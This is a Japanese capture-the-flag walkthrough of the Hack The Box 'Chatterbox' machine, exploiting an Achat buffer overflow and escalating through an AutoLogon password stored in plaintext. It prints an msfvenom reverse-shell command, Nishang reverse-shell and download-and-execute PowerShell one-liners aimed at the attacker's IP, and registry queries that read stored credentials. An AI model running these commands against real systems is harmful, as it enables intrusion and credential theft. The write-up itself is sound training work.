前書き
マシンのフラグを取るためではなく、取る手立てとして参考してもらえば幸いです。
必要な情報は概要に書き記してありますので、そこを参照して下さい。
出来る限り自分で考えた後、どうしても無理であればWriteup本文を読んで下さい。
netcat
などの基本的接続プロセスは省略して書いています。
ファイルは全てpython -m SimpleHTTPServer 80
でトランスファーしてます。
概要
-
バッファーオーバーフロー
-
Auto Logonにおけるレジスターのパスワード平文保存
-
フォルダーの間違った権限設定
学べる事/疑問点
icacls
権限を確認するためのコマンド。
Bashでいう、chmod
やchgroup
である。
C:\>icacls "Program Files"
icacls "Program Files"
Program Files NT SERVICE\TrustedInstaller:(F)
NT SERVICE\TrustedInstaller:(CI)(IO)(F)
NT AUTHORITY\SYSTEM:(M)
NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(F)
BUILTIN\Administrators:(M)
BUILTIN\Administrators:(OI)(CI)(IO)(F)
BUILTIN\Users:(RX)
BUILTIN\Users:(OI)(CI)(IO)(GR,GE)
CREATOR OWNER:(OI)(CI)(IO)(F)
icacls "fileName" /grant user
user権限を追加する。
icacls "fileName" /remove user
user権限を削除する。
バッファーオーバーフロー
処理能力を超えるようなデータを送りつけて、プログラムに誤動作を起こさせる攻撃手段の一つ。
シェルコードを作成して、攻撃者マシンへ送りつける。
シェルコードにはbad charsと呼ばれるものがあるので、それらの文字列を使わないようにしてシェルコードを作成する。
例えば、0x00
はヌルバイトと呼ばれ、C言語では文字列の終わりを意味するので、このヌルバイトは必ず抜かなければならない。出ないと、途中でシェルコードの読み込みが終わってしまう。
Auto Login
Windowsにおいて、自動ログインをさせるもの。
HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon
にパスワードが平文で保存されているので、危険。
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"
Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon' | select "Default*"
とターミナルで打てば、ユーザーネームとパスワードが出てしまう。
本文
ポート捜索
nmap -vv -sT -p1-10000 10.10.10.74
PORT STATE SERVICE REASON
9255/tcp open mon syn-ack
9256/tcp open unknown syn-ack
nmap -vv -P0 -sTUV --top-ports 10000 10.10.10.74
#sTUV はTCP/UDP と --top-ports
普通のnmapだと何もなかったので、TCPフルスキャン(sT
オプション)を行う。
これは時間がかかった。
PORT 9256はAchat System
というサービスが稼働するポートらしいので、
早速exploit-db.comで調べてみると、エクスプロイトコードが出て来る。
バッファーオーバーフロー
マニュアル通りに書いてみる
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.47 LPORT=4444 -f python BufferRegister=EAX -e x86/unicode_mixed -b '\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff'
オプションは-b
がbad charsを避けるため、-f
は形式、-e
はエンコーダー(shikataga_naiはbad chars指定が多すぎて使えなかった),-p
はペイロード。
侵入 - Low Privileged Shell
早速、リバースシェルが帰って来るが、不安定。
パワーシェル/新しい安定したシェルでspawnさせたい。
https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1 を使用。
ファイルの最後列に追加: Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.47 -Port 8888
SystemInfo
Hotfix(es):208もあった。
色々試したが、上手くいかず。
Hotfixが多すぎる場合は、システム関連エクスプロイトは多いので、後回しにする。
whoami /priv
C:\Users\Alfred\Music>whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ==================================== ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege
SeImpersonate/SeAssignPrimaryTokenが無いので、Impersonation PEは出来ない。
Unquoted Service
Unquopted Serviceが存在し、かつパスを変更して任意のバイナリーを実行できる。
ユーザーが実行しているバイナリーがあるかを探す。
C:\Users\Alfred\Music>wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v """
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v """
DisplayName Name PathName StartMode
ASP.NET State Service aspnet_state C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_state.exe Disabled
Microsoft .NET Framework NGEN v2.0.50727_X86 clr_optimization_v2.0.50727_32 C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorsvw.exe Disabled
Microsoft .NET Framework NGEN v4.0.30319_X86 clr_optimization_v4.0.30319_32 C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe Auto
Windows Media Center Receiver Service ehRecvr C:\Windows\ehome\ehRecvr.exe Manual
Windows Media Center Scheduler Service ehSched C:\Windows\ehome\ehsched.exe Manual
Windows Presentation Foundation Font Cache 3.0.0.0 FontCache3.0.0.0 C:\Windows\Microsoft.Net\Framework\v3.0\WPF\PresentationFontCache.exe Manual
Net.Pipe Listener Adapter NetPipeActivator C:\Windows\Microsoft.NET\Framework\v4.0.30319\SMSvcHost.exe Disabled
Net.Tcp Listener Adapter NetTcpActivator C:\Windows\Microsoft.NET\Framework\v4.0.30319\SMSvcHost.exe Disabled
Net.Tcp Port Sharing Service NetTcpPortSharing C:\Windows\Microsoft.NET\Framework\v4.0.30319\SMSvcHost.exe Disabled
Windows Modules Installer TrustedInstaller C:\Windows\servicing\TrustedInstaller.exe Manual
見たところ、興味を引かせるサービスは稼働していない。
ChecksALL
クレデンシャルが漏れていたら表示してくれる。
unattend.xmlや色々なレジスターを自動で捜索してくれるモジュール
PS C:\Users\Alfred> Import-Module ./Powerup.ps1
# エラーが表示されて出来ない
# 定番
## ダウンロードと実行を同時に行う
PS C:\Users\Alfred> iex(new-object net.webclient).downloadstring('http://10.10.14.47/PowerUp.ps1')
PS C:\Users\Alfred> Invoke-Allchecks
DefaultDomainName :
DefaultUserName : Alfred
DefaultPassword : Welcome1!
AltDefaultDomainName :
AltDefaultUserName :
AltDefaultPassword :
Check : Registry Autologons
UnattendPath : C:\Windows\Panther\Unattend.xml
Name : C:\Windows\Panther\Unattend.xml
Check : Unattended Install Files
Default*より、Alfred
のパスワードはWelcome1!
である。
Windows AutoLogonを使用してるので、パスワードが平文で保存されている。
管理者も同じパスワードを使っていればどうなるか?
管理者の権限を使ってファイルを実行できる可能性がある。
Bashでいう、sudo -u Administrator ./reverse-shell
みたいなのをする。
Windows Cmdletだと全てがオブジェクト
なので、手間がかかる。
$var = new-object hogehoge
みたいにする。
管理者権限でファイルを実行
#パスワードオブジェクト:
$password = convertto-securestring -AsPlainText -Force -String "Welcome1!"
#クレデンシャルオブジェクト
$credential = new-object -typename System.Management.Automation.PSCredential -argumentlist "chatterbox\administrator",$password;
#実行
Start-Process -FilePath "powershell" -argumentlist "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.17/Invoke-PowerShellTcp.ps1')" -Credential $credential
侵入 - Privileged Shell
listening on [any] 8889 ...
connect to [10.10.14.47] from (UNKNOWN) [10.10.10.74] 49184
Windows PowerShell running as user Administrator on CHATTERBOX
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
PS C:\Users\Administrator\Music>whoami
chatterbox\administrator
PS C:\Users\Alfred\Desktop> type user.txt
72290...334
PS C:\Users\Administrator\Desktop> type root.txt
a673...c7c
管理者は同じパスワードを使っていた模様で、容易にログインが出来た。
感想
最初にパーミッションの確認をすると、
C:\Users>icacls "Administrator"
Administrator NT AUTHORITY\SYSTEM:(OI)(CI)(F)
CHATTERBOX\Administrator:(OI)(CI)(F)
BUILTIN\Administrators:(OI)(CI)(F)
CHATTERBOX\Alfred:(OI)(CI)(F)
フォルダー権限が弱いので、変更することが出来ます。
cacls "Administrator" /grand Alfred
でproof.txtが見れる。
しかし、管理者シェルを得るのが目的なので、本文では書きませんでした。
読んでくれてありがとうございます!
By MR-WACKER